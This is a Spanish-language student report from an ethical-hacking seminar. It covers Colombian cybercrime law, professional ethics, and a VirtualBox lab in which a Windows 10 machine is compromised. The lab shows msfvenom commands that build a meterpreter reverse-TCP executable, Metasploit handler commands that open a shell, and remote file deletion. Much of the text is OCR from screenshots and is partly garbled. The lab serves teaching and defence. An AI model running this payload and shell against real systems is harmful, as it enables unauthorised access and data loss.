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GLOSARIO

Vulnerabilidad: situacién de una amenaza en un sistema de informacion.

Maquina Virtual: Software de virtualizacion el cual se configura de acuerdo a las
necesidades que se requieren

Explotacion de vulnerabilidades: Obtener acceso no autorizado a un sistema de
informacion, compromete la integridad de la informacion.

Blue Team: Aseguramiento de todos los controles de seguridad en un proyecto
tecnolégico

Red Team: Equipo que ayuda a una organizacion a mejorar su esquema de seguridad
Purple Team: Mejora la comunicacion entre los diferentes equipos Red team y Red team
alineando sus objetivos ante la seguridad informatica

Firewall: Herramienta de seguridad que cuenta con el monitoreo  del trafico de red y
que decide si permite o no el trafico en funcién de reglas

Payload: Es la parte donde se genera un codigo del malware que realice una accién
maliciosa en un sistema de informacion

Respuesta de incidentes: Equipo que se encarga de responder de forma inmediata por

un evento alto o critico sobre un servicio que afecta un ambiente productivo.
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RESUMEN

Este documento explicara de forma detallada un informe técnico el cual describe como
un sistema Windows estd expuesto a diferentes vulnerabilidades asociados a los
sistemas, esto por no contar con un sistema de seguridad 6ptimo para poder soportar los
riesgos ocasionados por amenazas y virus, implementaremos un banco de trabajo desde
VirtualBox de acuerdo al aprendizaje en etapas anteriores las cuales pondremos en
prueba nuestro conocimiento para llevar acabo el éxito del laboratorio, asi mismo
nosotros como especialistas lograremos identificar bajo pruebas de penetracion y
payloads todo un proceso técnico con el fin de identificar las debilidades del sistema y
contar con acceso directo al servidor para poder demostrar la debida explotacion de
vulnerabilidades, una vez obtenido lo anterior, realizaremos la remediacion activando los
protocolos de seguridad, politicas y herramientas de proteccién como antivirus y firewall,
también resaltaremos la importancia de las debidas leyes que nos ensefiaron durante

este seminario especializado.

Palabras claves:
Blue Team
Firewall

Purple Team
Red Team
Vulnerabilidad
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ABSTRACT

This document will explain in detail a technical report which describes how a Windows
system is exposed to different vulnerabilities associated with the systems, this is due to
not having an optimal security system to be able to withstand the risks caused by threats
and viruses, we will implement a bank. of work from VirtualBox according to the learning
in previous stages which we will test our knowledge to carry out the success of the
laboratory, likewise we as specialists will be able to identify under penetration tests and
payloads an entire technical process in order to identify the weaknesses of the system
and have direct access to the server to be able to demonstrate the proper exploitation of
vulnerabilities, once the above is obtained, we will carry out the remediation by activating
the security protocols, policies and protection tools such as antivirus and firewall, we will
also highlight the importance of the due laws that they taught us during this specialized

seminar.
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1 INTRODUCCION

Resaltaremos la importancia en los diferentes equipos Blue team, Red team y Purple
team como su mayor aliado en una empresa para robustecer la seguridad informatica y
dar la mejor respuesta ante incidentes de seguridad, asi mismo analizaremos cada
aspecto importante sobre herramientas, mejores practicas, recomendaciones de
fabricantes y demas alternativas de solucion ante un evento de seguridad, emularemos
un ataque real bajo un esquema de hacking ético sobre un servidor Linux como atacante
y su victima un servidor Windows, alli identificaremos las vulnerabilidades y sus puntos
débiles como la inhabilidad de sus herramientas de seguridad, asi mismo
implementaremos medidas de proteccion y prevencion ante incidentes robusteciendo el
servidor de acuerdo a un aseguramiento de politicas y demas esquemas de seguridad
gue se adecuaran en este servidor para que no continue siendo victima, en este caso el
equipo Red Team y Blue Team llevaran a cabo todo este proceso de aseguramiento como

primera linea de defensa ante un ataque cibernético.
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2 OBJETIVOS

2.1 OBJETIVO GENERAL

Incrementar la efectividad en el trabajo arduo en los equipos Red Team y Blue team
como valor importante en una organizacion para fortalecer las medidas de seguridad los
cuales forman un Unico objetivo que es mejorar la ciberseguridad con esquemas de

defensa y definiendo roles y responsabilidades.

2.2 OBJETIVOS ESPECIFICOS

¢ |dentificar de manera oportuna los riesgos y amenazas en la maquina Windows
10y llevar a cabo remediaciones o recomendaciones para evitar esta explotacion
en un futuro.

¢ Implementar nuestros conocimientos en etapas anteriores para avanzar en la
documentacion sobre el aseguramiento de este servidor Windows 10 y conocer
mas afondo las buenas practicas que se recomiendan para robustecer un sistema
operativo.

e Analizar los niveles estratégicos para hardenizar un sistema y prevenir los riesgos

gue se pueda presentar en un futuro.

15



3 ESCENARIO 1

3.1 Ley 1273 del 2009

Como bien lo sabemos existen constantes ataques cibernéticos conocidos como virus,
acceso no autorizado, phishing, Ransomware, malware, entre otros, por lo tanto, esta ley
1273 del 2009, “Ley de delitos informaticos”, resalta el objetivo principal de sancionar al
delincuente que realiza estas actividades ilicitas violando la proteccion de la informacion

y datos importantes de una empresa o persona.

Esta ley se divide en dos capitulos importantes que es la proteccion de la
confidencialidad. Integridad y disponibilidad de la informacion y la segunda a infracciones
cometidas por atentados informaticos, asi mismo en esta ley aparece un bien juridico que
establece los delitos informaticos que pueden ser penalizados de acuerdo a las politicas

de seguridad que esta ley establece como:

+ Acceso abusivo a un sistema de informacion

+ Interceptacion de datos

+ Dafios informaticos a una infraestructura de una empresa
+ Uso de software malicioso

+ Violacion de datos personales

Colombia ha sido victima de delitos informéaticos de acuerdo al avance tecnoldgico y a
conocimientos avanzados por ciberdelincuentes, el cual hemos encontrado como
fraudes, robo de servicios, sabotaje informatico, y otro conocido y famoso es la modalidad
a través del uso de redes sociales como Facebook, Instagram, YouTube, etc. Con este
delito en redes sociales encontramos la pornografia infantil, perfiles falsos, Sexting, de
acuerdo a lo anterior expuesto esta ley contiene un tratamiento penal para la persona que

atente con la intimidad de otra persona. Un dafio informatico afecta gravemente la

16



integridad de una empresa o0 persona de acuerdo a la situacion, destruccion de
informacion o pérdida econdémica que afecte a empleados, por este motivo el estado se
compromete en velar por el cumplimiento de estas politicas, sin embargo estos dafos
producidos por delitos informaticos han ido creciendo de forma alarmante en Colombia,
pero lo mas preocupante es que los profesionales en derecho tienen que contar con una
suficiente capacidad en imputar cargos al ciberdelincuente ya que una mala decision

puede afectar a una empresa o persona natural.

3.1.1 Multas de acuerdo a la Ley 1581 de 2012

Establece la ley 1581 del 2012 una multa a favor de la Superintendencia de Industria y
Comercio por el equivalente de dos mil (2.000) salarios minimos mensuales vigentes al
momento del registro de la sancién por cometer estas infracciones sobre la privacidad y
seguridad de la informacion personal, sin embargo la Superintendencia de industria y
comercio evalla la afectacion para concluir la sancién, asi mismo toda empresa ha
pagado sanciones por cometer estas faltas graves a la proteccién de datos personales,
cifras entre $80 millones para una empresa pequefia hasta $1350 millones para una
empresa grande, también se considera una multa en no responder a una solicitud de un
titular en borrar la informacion de la victima el cual se le impone una sancion de 7.5

millones.

3.1.2 Etapas del Pentesting y etapa a resaltar Footprinting

3.1.3 Planificacién y Recopilacion de Informacion:

Definir los objetivos y su alcance de acuerdo al proyecto, se establecen las pruebas a

realizar y los limitantes, asi mismo se realiza un listado de los sistemas que se van a

intervenir, esta etapa es netamente del levantamiento de informacion.
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3.1.4 Andlisis y descubrimiento:

Recopila toda la informacion del sistema como la fase anterior pero aqui se incluyen
direcciones ips, configuraciones del sistema operativo, redes y el dominio del equipo, la
idea es entender como esta disefiado el servidor para lograr explorar.

3.1.5 Evaluacion de vulnerabilidades:

Etapa importante donde se identifican todas las vulnerabilidades del equipo que se esta
analizando, es simplemente la identificacion ya que no vamos a generar ninguna
explotacién o dafo en el sistema, Unicamente es lograr encontrar cuales de ellas son
explotables las cuales podrian propiciar un ataque de un ciberdelincuente.

3.1.6 Explotacion:

Explotar las vulnerabilidades detectadas por las herramientas y verificar el dafio que se

puede causar si lo realiza un delincuente.

3.1.7 Post-Explotacion:

Andlisis sobre el impacto que genero al realizar la explotacion de las vulnerabilidades

encontradas.
3.1.8 Informe y recomendaciones:
Realizar un informe detallado de los hallazgos encontrados durante el proceso de

explotacion y generar un plan de accion para robustecer o remediar las vulnerabilidades

antes de que sean explotadas.
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3.1.9 Footprinting:

Es una técnica utilizada como hacking ético el cual me recopila la informacion de la
empresa, infraestructura o datos con el fin de realizar una explotacion de
vulnerabilidades, la manera de protegerse es vigilar los sistemas para validar si algun
intruso esté realizando algun tipo de seguimiento o levantamiento de informacion, asi
mismo el Footprinting genera un analisis de rastreo o consultando informacion publica o

de redes sociales.

3.1.10 Funcionalidades del Metasploit Disponible en Kali Linux

Desde la consola de Metasploit cuenta con 900 exploit que nos permite utilizar para la
explotacion de vulnerabilidades, utilizamos comandos con NMAP desde la consola de
Metasploit para invocar al objetivo, estos comandos nos ayudan a identificar los puertos
abiertos, servicios asociados a esos puertos abiertos, vulnerabilidades que fueron
descubiertas bajo el comando, etc.

De acuerdo a lo anterior, se requiere asignar un exploit al servicio que vamos a explotar,
también configurar unas variables en el destino como el RHOST, el Payload y opciones
para llegar a la fase de explotacion.

Funcionalidades:

+ Escanear y recopilacion de informacion

+ |dentificar y explorar vulnerabilidades: Deteccién de vulnerabilidades y analisis de
CVES

+ Escalada de privilegios: Incorpora privilegios de administrador o root para la
extraccion de la informacion.

+ Instalar backdoors: Permite la instalacién de este componente en la consola de
Metasploit para obtener informacion confidencial del objetivo

+ Evasion de antivirus: Trabaja para que no sea detectable el blogueo del antivirus

19



+ Eliminacion de rastros: Borrar la huella digital sobre el atacante
3.1.11 Que es un CVE:

Son codigos vulnerables que conforman una lista de fallas de seguridad informéatica que
esta disponible al publico y en el servidor objetivo. un CVE, se refiere a una falla a la cual

se le asigno6 una identificacion con nomenclatura CVE.

Son advertencias de seguridad las cuales emiten a los proveedores y a los investigadores
para subsanar o remediar estas vulnerabilidades tipo CVE, Los CVE también permiten
gue los especialistas en Tl programen sus planes de accion para priorizar y solucionar
los reportes negativos al CVE, y de esta forma actualizar los sistemas o migraciones a
nuevas tecnologias o robustecer sus sistemas de informacion, hoy en dia los CVE estan
cargados en herramientas de escaneo de vulnerabilidades y las identifica segun su

criticidad,(bajas, medias, altas y criticas)

EL punto a favor sobre el CVE, es la publicacion de una entrada de CVE, se incluye el
namero de identificacion (con el formato "CVE-2019-1233597"), es una descripcion breve
de la exposicién o el punto vulnerable, y asi mismo recomienda bajo enlaces las posibles

remediaciones asociadas al CVE.

20



3.1.12 INSTALACION BANCO DE TRABAJO

Figura 1 Configuracion de red y performance Maquina Windows
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Fuente: Elaboracion propia
Nota: Se configuran 2G de memoria y 1CPU
Figura 2 Configuracion de tarjetas de red
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Fuente: Elaboracion propia

Nota: Se configuran dos interfaces de red, un tipo NAT y el otro adaptador puente
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Figura 3 Instalacion del sistema operativo Windows 10
=]

Bl Windows®
Rt = m—
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e ]
Fuente: Elaboracion propia
Nota: Seleccionamos el idioma y continuamos con la configuraciéon
Figura 4 Boton de instalacion del S.O Windows 10
P
Integracion de ratén... G it
Autocapturar teclado... 5

*“ Programa de instalacién de Windows
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Fuente: Elaboracion propia
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Figura 5 Instalacion completada Windows 10
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Fuente: Elaboracion propia
Nota: Se obtiene la instalacion satisfactoria sobre el sistema operativo Windows 10 Home

Figura 6 Configuracion de red y performance Maquina Kali Linux
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Nota: Se configuran 2G de memoriay 1CPU
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Figura 7 Configuracion de interfaces de red Kali Linux
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Fuente: Elaboracion propia

Nota: Se configuran dos interfaces de red, una NAT y el otro adaptador puente

Figura 8 Instalacion del Sistema operativo Kali-Linux
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Fuente: Elaboracion propia
Nota: Distribucion Linux, Debian de 64bits
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Figura 9 Se completa la instalacion de Kali-Linux
&

Fuente: Elaboracion propia

Nota: Después de varios minutos se completa la instalacion

Figura 10 Pruebas de conexion en las méquinas virtuales

g'ﬁ" iHola, Yulver Alexander!

Defender bloguee una nueva aplicacion

MNo conectada

compartidos

y . = <5 - & ELIs
= O Escribe aqui para buscar. n =it e = > Mafi. A~ O €B W0 T A0 ESP nm00 B

Fuente: Elaboracion propia

Nota: Maquina Windows con ip 192.168.1.14
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Figura 11 Maquina Kali Linux con ip 192.168.1.13

kali@kali: ~
File Actions Edit View Help

a

1: <LOOPBACK,UP, LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group def

ault glen 1000
link/loopback ¢ 2:0@ brd 00:00:00: oe
inet /8 scope host lo
valid_1ft forever preferred_1ft forever
inet6 /128 scope host noprefixroute
valid_1ft forever preferred_lft forever

745 <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc fq_codel state UP g
roup default glen 1000
link/ether 08:00: b1 e brd
inet /24 brd scope global dynamic noprefixroute eth@
valid_1ft 86270@sec preferred_1ft 86270sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_1ft forever
3: <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc fq_codel state UP g
roup default glen 1000
link/ether ¢ b6:bb brd ff:ff: FF:FF:FF
inet 4 brd scope global dynamic noprefixroute
ethl
valid_1ft 86270sec preferred_1lft 86270sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_1ft forever

"the quieter you become, the

Fuente: Elaboracion propia

Figura 12 Pruebas de ping entre las maquinas virtuales

Haciendo ping Desde Kali-Linux hacia Windows:

BiomP o
- File Actions Edit View Help

IREINIUA

"the quieter you become, the more you are able to hear”

Fuente: Elaboracion propia
Nota: Ping Satisfactorio desde la maquina Kali-Linux (192.168.1.13) hacia la maquina

Windows (192.168.1.14)
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Figura 13 Haciendo ping Desde Windows hacia Kali-Linux:

.g edes podlica

Fuente: Elaboracion propia

Nota: Se desactiva el firewall de Windows y responde a ping satisfactoriamente desde la
maquina Windows (192.168.1.14) hacia Kali-Linux (192.168.1.13)
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4 ESCENARIO 2

4.1 Parrafos que se tornan ilegales dentro del proceso de confidencialidad

En la 1 clausula “Objeto” Analizando esta clausula del acuerdo de confidencialidad no
estoy de acuerdo con la parte donde manifiesta que el estudiante o la parte receptora
obliga a no divulgar procesos ilegales de la compafia HackerHouse, esto me da a
entender que hay procesos ilicitos sobre la compafiia que no me permitiria firmar este
acuerdo de confidencialidad y que es importante levantar la mano y ajustar esta clausula
la cual tendria consecuencias legales, tal vez los ejes centrales que administran este
acuerdo de confidencialidad no se han percatado de las consecuencias de estos parrafos
el cual se recomienda su analisis de acuerdo a especialistas y abogados en la materia.
Otro parrafo en el cual no estoy de acuerdo es “ 4 - Obligaciones de la parte receptora
punto #3”, informa que el estudiante no debera denunciar ante las autoridades algun
proceso sospechoso o de espionaje que intervenga, pienso que la empresa fue generar
un reporte de operaciones sospechosas, esto no implica que la actividad reportada sea
ilegal o fraudulenta, pero que de igual manera genera sospechas que deben ser
investigadas por los entes de control y verificadas por las autoridades pertinentes, de
acuerdo a lo anterior es pertinente detectar o prevenir estas actividades ilicitas que
pueden afectar la operacién y el cumplimiento del acuerdo de confidencialidad.

4.1.2 Procesos ilegales de acuerdo al Anexo 3

Teniendo en cuenta lo anterior expuesto, se investiga que en Colombia cuentan con un
plazo de 5 dias habiles para reportar actividades sospechosas , este plazo esta resaltado
en el articulo 8 de la Resolucion 008 del 2017 la cual va desplegada por la unidad de
informacion y analisis financiero, esta entidad es la encargada de investigar y analizar los
procesos y reportes sospechosos que generen la empresa, en este caso HackerHouse,
asi mismo si la empresa esta expuesta en procesos ilegales en contra de la disponibilidad
o confidencialidad de la informacién incurrira en el debido proceso de la ley 1273 del

2009, Articulo 269B el cual manifiesta la obstaculizacion del sistema informatico y el
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funcionamiento del mismo con una pena de 100 a 1000 salarios minimos y 96 meses de

prision.

4.1.3 Aceptacion o no al acuerdo de confidencialidad aun conociendo el codigo de ética
entregado por COPNIA

De acuerdo a las buenas conductas que manifiesta la ética de COPNIA, no aceptaria o
firmaria el acuerdo de confidencialidad que me entregaria la empresa HackerHouse
independientemente del salario, estos procesos son necesarios cumplirlos
obligatoriamente como ingeniero para resaltar la ética profesional y deberes como
trabajador en cualquier empresa que manifieste honestidad y transparencia ante sus
clientes, el articulo de COPNIA resalto también la Ley 842 de 2003 el cual entrega 3
capitulos que como ingenieros debemos de aplicar en toda empresa Tl, 1 habla de las
disposiciones especiales, el 2 de los deberes, obligaciones y prohibiciones, y la ultima las
inhabilidades e incompatibilidades en ejercicio de la profesion. Son deberes y derechos
gque como empleados tenemos en cualquier empresa y que debemos de aplicar para
hacer respetar nuestra tarjeta profesional y generar buenas practicas de honestidad y
ética ante nuestros comparieros con el fin de que cada dia se cumplan las normas y

marco del buen comportamiento del ingeniero.

4.1.4 Cibercrimen investigado y mi punto de vista al respecto

El 28 de noviembre de 2022 la empresa de salud Sanitas fue victima de un poderoso
ataque cibernético el cual perjudico todos sus canales de atencion desde sus plataformas
digitales, desde el momento de la incidencia, los ingenieros implementaron los planes de
contingencia mientras se lograba identificar los problemas generados en ambiente
productivo, sin embargo los problemas surgieron y las quejas no daban abasto, fue
reportado por la Superintendencia de Salud que los pacientes se quejaban de que no
habia sistema y otros que estaban esperando autorizaciones para examenes y
medicamentos. Mi punto de vista con respecto al caso anterior y de acuerdo a

investigaciones, fue un ataque tipo Ransoware “secuestro de informacioén”, por ser una
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entidad de salud, perjudico a todos esos pacientes que no lograron una cita médica,
examenes y autorizaciones, etc., este tipo de acciones genero una indisponibilidad del
servicio y sistemas de informacion perjudicados, por ende se aplica la Ley 1273 de 2009
donde informa el cédigo penal que es un acceso abusivo lo que hizo el ciberdelincuente
con la empresa Sanitas, obstaculizo la funcionalidad de los servicios médicos e
interceptando datos informaticos generando perdidas de informacion, la falta de ética y
del mal uso de la tecnologia nos conlleva a generar este tipo de delitos el cual incurre en
una pena de prisiébn de 48 a 96 meses y una multa de 100 a 1.000 salarios minimos

legales vigentes dependiendo de la gravedad del ataque realizado.
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5 ESCENARIO 3

Alistamiento de maquinas virtuales Windows y Linux , se realizan pruebas de

conectividadentre ellas para iniciar con el taller de laboratorio y ejecuciéon sobre las
pruebas de intrusion.

Figura 14 Maquina Windows 10 con ip 192.168.1.7

- |

Papelera de

1-80-01-2D-6
.168.1.1

8@ O Escribe aqui para buscar. C: =] e ™ ﬁ I~ o 15°C A D @ o T Q) ESP

Fuente: Elaboracion propia

243 p. m.
11/03/2024 %
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Figura 15 Maquina Kali-Linux con ip 192.168.1.1

root@kali: ~

File Actions Edit View Help

1 <LOOPBACK,UP, LOWER_UP> mtu 65536 noqueue state UNKNOWN group de
qlen 1000

link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:0
inet : ope host lo
Lft : ¢ fo .

valid ver preferred
inet6 /128 s e host
valid_1ft rever preferred_ forever
T,UP,LOWER_UP> mtu 1500 gdisc fg_codel state

Fiff

/24 E 2 noprefixroute etho
861945

valid_lft forever prefer for r
g <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 qdi q_codel st grou
default qlen 1000
link/ether 08:00:2 s6:bb brd ff:ff:ff:ffzffzff J
e @R brd scope global dynamic noprefixroute et ~
valid_1ft 86194sec preferred_lft 86194sec E

inet6 /64 scope link noprefixroute
valid_lft forever preferred_lLft foreve

* you are able to hear"™

Fuente: Elaboracion propia
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Figura 16 Pruebas de conectividad

@

Papelera de
reci g
BF Seleccionar Simbolo del sistema

Vista de tareas

, e o & =1} cam Q 54 o e Zaip m
£ Escribe aqui para buscar. O (=1 '\c; - ﬂ =" 21°C A~ © @ WD) EP ~

Fuente: Elaboracion propia

Nota: Haciendo ping desde la maquina Windows (192.168.1.7) hacia la maquina
Kali-Linux (192.168.1.13), ping exitoso.

Figura 17 Conectividad entre la maquina Kali Linux hacia la maquina Windows 10

root@kali: ~
File Actions Edit View Help

= 3 <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 150@ qgdisc fg_codel state U grou
p default glen 1000

link/ether = = = brd - FE-FE- - FE-FCF

inet /24 brd scope global dynamic noprefixroute et

valid_1ft 86194asec preferred_1lft 8619asec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_ lft forever

AT

PING 192. =3 (192.168.1.7) 56(84) bytes of data.

= icmp_seq=1 ttl=128 ms
- icmp_seqg=2 ttl=128 ms
& icmp_seq=3 ttl=128 ms
= icmp_seq=4 ttl=128 ms
- icmp_seq=5 ttl=128 ms
- icmp_seq=6 ms
= icmp_seq=7 ms
A 681 . icmp_seqg=8 < ms
68" icmp_seq=9 11 ms
-168.1.7: icmp_seq=10 ttl=128 time=0.804 ms

64 bytes 16s8.1.
64 bytes 168.1.
64 bytes 168.1.
168.1.
168.1.
i168.1.
168.1.

64 bytes
64 bytes
64 bytes
bytes
bytes
bytes
bytes f 192

NNNNNNNNNWO

— 192 .168.1.7 ping statistics
1© packets transmitted, 1® received, ©% packet loss, time 9148ms
rtt min/avg/max/mdev = ©0.529/1.067/3.112/0.720 ms

Fuente: Elaboracion propia

Nota: Haciendo ping desde la maquina la maquina Kali-Linux (192.168.1.13), hacia
lamaquina Windows (192.168.1.7) ping exitoso.
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5.1.1 Implementacion del Escenario

Figura 18 Activacion de comandos msfvenom

[hone/Kali

yrindows/x64/meterpreter/reverse_tep - platforn windows -2 G4 LHOST=192,168.1,13 LPORT=443 -F exe »» /home/kali/PoC_1073695428, exe
Hlo-encoder specified, outputting raw payload
Payload size: 510 bytes

Final size of exe files 7168 bytes

[home/kala

Fuente: Elaboracion propia

Figura 19 Visualizacion de archivo PoC_1073695428.exe

/home/kali
| | 1

total 48

drwxr-xr-x 2 kali kali 4096 Feb 20:22
drwxr-xr-x 2 kali kali 4096 Feb 15 20:22
drwxr-xr-x kali kali 4096 Feb 122
drwxr-xr-x kali kali 4096 Feb 15 Y22
drwxr-xr-x kali kali 4096 Feb 15 122
drwxr-xr-x 2 kali kali 4096 Feb 15 20:22
drwxr-xr-x kali kali 4096 Feb 122
drwxr-xr-x kali kali 4096 Mar HR
-rw-r--r-- 1 root root 14336 Mar 18:22 PoC_1073695428.exe

/home/kali

Fuente: Elaboracion propia

Nota: Se siguen las instrucciones del Anexo 4 para llevar a cabo la creacién delarchivo
Poc_1073695428.exe
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Figura 20 Desactivacion del Firewall en la maquina Windows

@ Firewall de Windows Defender

Qe ¢ Q

1 P > Paneldecontrol > Sistemay seguridad > Firewall de Windows Defender ~ o

Ventana principal del Panel de
control

Permitir una aplicacién o una
caracteristica a través de
Firewall de Windows Defender

Cambiar Ia configuracién de
notificaciones

Activar o desactivar Firéwall de
Windows Defender

Restaurar valores
predeterminados

Configuracién avanzada

Solucién de problemas de red

Ayuda a proteger tu PC con Firewall de Windows Defender

Firewall de Windows Defender ayuda a impedir que hackers o software malintencionado obtengan acceso a tu
PC a través de Internet o una red.

Actualizar configuracin de firewall

Firewall de Windows Defender no esta usando la L e P e
i i6 el

para pi

equipo.

;Cual es la configuracién recomendada?

. g Redes privadas

Redes domésticas o del trabajo en cuyos usuarios y dispositivos confie

Conectado

Buscar en el Panel de control

>
o

Estado de Firewall de o} 3 D

Conexiones entrantes: Bloquear todas las conexiones a aplicaciones que no
estén en la lista de aplicaciones permitidas

Redes privadas activas: % Red2

= Red

Notificarme cuando Firewall de Windows Defender
bloquee una nueva aplicacién

Estado de notificacién:
. e Invitado o redes publicas No conectado

ita también

Seguridad y mantenimiento

Centro de redes y recursos
compartidos

. _ . o o 318 p. m.
£ Buscar g € - B e e R 21°C ~ BRAGAEInEn PP 5P 410372004 ‘

1 Seguridad de Windows = O

Seguridad de un vistazo

Consulta lo que esta sucediendo con la seguridad y el estado del
dispositivo, y toma las medidas necesarias.

o« Q

x Q9

PN gp

[i=] Proteccién contra virus y Proteccién de cuentas Firewall y proteccion de red
amenazas No se reguiere ninguna accion. Los firewalls estan desactivados.
= La proteccién en tiempo real esta El dispositivo podria estar en
desactivada, lo que pone en riesgo.
> riesgo el dispositivo.
Activar
A Activar

=

Rendimiento v estado del

Control de anlicaciones v Seauridad del dispositivo

B

Buscar <> 9 @ 19°c

- T £y ~N® S @ E = I 9) Ese

Fuente: Elaboracién propia
Nota: Se desactiva el firewall y antivirus de Windows con el fin de que no existan

restricciones de seguridad para continuar con las pruebas de explotacion.
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Figura 21 Movimiento de ejecutable PoC 1073695428 y creacion de archivo de texto
Yulver_Arias_ 202337164 17 Marzo_2024.txt

.

Papelera de reciclaje

Microsoft Edge

® O Buscar 4 ' g E BN @ ? 20C A DG E @) P 1??;3’;.2:2; %) ‘

Fuente: Elaboracion propia
Nota: Se mueve el archivo ejecutable desde la maquina Linux a la maquinaWindows de

acuerdo a las instrucciones del escenario, asi mismo se crea el archivode texto para
tomarlo de base y eliminarlo una vez se realice la explotacion.
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Figura 22 — Activacion de la consola msfconsole y ejecucion de comandos

0 root@kali: /home/kali

File Actions Edit View Help

To boldly go where no
shell has gone before

=[ metasploit J43-dev
+ == ===[ 2376 exploits - 1232 auxiliary - 416 post
+ - =[ 1391 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msfé > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.1.13
lhost = 192.168.1.13
msf6 exploit( ) > set lport 443
lport = 443
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.13:443

Sending stage (200774 bytes) to 192.168.1.7
Meterpreter session 1 opened (192.168.1.13:443 — 192.168.1.7:52320) at 2024-03-11 18:54:21 -0400

meterpreter > [j

Fuente: Elaboracién propia
Nota: Aqui observamos la ejecucién de los comandos de msfconsole el cual me

proporciona una interfaz sobre comandos para acceder y trabajar con Metasploit, esta
consola me permite también escanear objetivos y la explotacion de vulnerabilidades.
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Figura 23 Evidencia de explotacion exitosa a la maquina Windows (192.168.1.7)

p root@kali: /home/kali

File Actions Edit View Help

Metasploit Documentation: https://docs.metasploit.com/

msf6é > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.1.13
lhost = 192.168.1.13
msf6 exploit( ) > set lport 443
lport = 443
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.13:443

Sending stage (200774 bytes) to 192.168.1.7
Meterpreter session 1 opened (192.168.1.13:443 — 192.168.1.7:52320) at 2024-03-11 18:54:21

meterpreter >
meterpreter > ls
Listing: C:\Users\alex_\Desktop

Mode Size Type Last modified Name
100777/ruxrwxrwx 7168 fil 2024-03-11 18:39: PoC_1073695428.exe
100666/ rw-rw-rw- 282 fil 2024-02-15 20:26: desktop.ini

meterpreter > 1s
Listing: Users\alex_\Desktop

Mode Size Type Last modified Name

100777 /rwxrwxrwx 7168 fil 2024-03-11 18:39: PoC_1073695428.exe
100666/ rw-rw-rw- 6 fil 2024-03-11 19:01: Yulver_Arias_202337164_17_Marzo_2024.txt
100666/ rw-rw-rw- 282 fil 2024-02-15 20:26: desktop.ini

meterpreter > I

Fuente: Elaboracion propia

Nota: Se ejecutan los comandos de acuerdo a las instrucciones del Anexo 4y al final se
envia el comando “exploit” y después para llevar a cabo la explotacién, ejecuto en la
magquina Windows el ejecutable PoC_1073695428.exe y su ingreso essatisfactorio, alli se
listan las carpetas que hay en el escritorio de Windows.

38



Figura 24 Comprobacion sobre la eliminacion del archivo de texto Yulver_ Arias_
202337164 _17 Marzo_2024.txt

_\Desktop

Type Last modified

fil 2024-03-11 18:39:57 -0400 36 ¢
fil 2024-03-11 19 -0400 Yulv S_2 37164_17_Marzo_2024.txt
fil 2024-02-15 20:26:40 -0500 desktop.ini

meterpreter > rm

rm rmair

meterpreter > rm Yulver_Arias_202337164_17_Marzo_2024.tx
> ls

Listing: C:\Users\alex_\Desktop

Mode Size Type Last modified Name

100777/ruxrwuxrwux 7168 fil 2024-03-11 18 -0400 PoC_1073695428.exe
100666/ rw-rw-rw- 282 fil 2024-02-15 20:26:40 -0500 desktop.ini

meterpreter > fi

Fuente: Elaboracion propia
Nota: teniendo en cuenta la explotacion exitosa, se procede a realizar la eliminaciondel
archivo de texto con el comando rm Yulver_Arias_ 202337164 _17_ Marzo_2024.txt

Figura 25 Confirmacion de la eliminacion del archivo de texto en la maquina Windows

Fuente: Elaboracion propia
Nota: Ingreso a la maquina Windows y se confirma que el archivo de texto fue eliminado.
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5.1.2 Herramientas de Software utilizadas en el escenario:

e Creacion de maquinas Virtuales, Windows y Linux

¢ Msfvenom = Generacion de carga util disponible para la creacion de una Shell que
me enlaza a la maquina Windows.

e Msfconsole = Es una plataforma donde me permitira ejecutar comandos queme
lleven a realizar una explotacion de vulnerabilidades a un objetivo especifico con
ayuda de payloads.

Estas herramientas me permitieron seguir una secuencia de comandos hasta llegaral
objetivo (Windows 10) con el fin de explotar sus vulnerabilidades, asi mismo se
ejecutaron comandos de sistema operativo Linux para lograr identificar y analizar elnivel
de riesgo y lo sencillo que es explotar una vulnerabilidad ante un sistema débilen
herramientas de seguridad.

5.1.3 Describir el fallo de seguridad en la Maguina Windows 10

Los fallos encontrados fueron una maquina con el Antivirus y Firewall desactivados,
también no se debid ejecutar el archivo .exe ya que la misma maquina me recomendaba
no descargarlo y ejecutarlo, esto permite al atacante vulnerar al servidor ya que no cuenta
con una seguridad optima que protege su informacién, gracias a estas debilidades se
logro realizar la explotacion de vulnerabilidades y la eliminacion de un archivo ubicado
en el escritorio de la maquina Windows.

Windows acostumbra a contar con una gran cantidad de vulnerabilidades y sus virusson
constantes en el sistema operativo, en este caso Windows 10, mi recomendacion es
activar siempre el antivirus y firewall, asi mismo la revisién y actualizacién de software
obteniendo las ultimas actualizaciones que entrega Microsoft las cuales podemos
visualizar por medio de la herramienta Windows update, otro aspecto importante es no
descargar software maliciosos que seencuentren en paginas no reconocidas ya que
podemos afectar la integridad de nuestro equipo o informacion.
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5.1.4 Herramienta utilizada para identificar los fallos de seguridad en lamaquina
Windows y el puerto.

La herramienta utilizada fue Msfvenom el cual es un Metasploit utilizado para creary
personalizar payloads con el fin de explotar vulnerabilidades, el puerto utilizado esel 443
en el origeny en el destino abrio el 52320, este puerto me especifica la salidaa la conexion
de la maquina victima por la cual se dara escucha para realizar la penetracion de
vulnerabilidades.

Esta herramienta me parecié muy interesante, no la habia manejado antes, me permite
por lo que vi crear exploits, malware y payloads para un objetivo especificoque es poner
a prueba un sistema operativo Windows o redes para simular de manera ética ataques
de ciberseguridad.

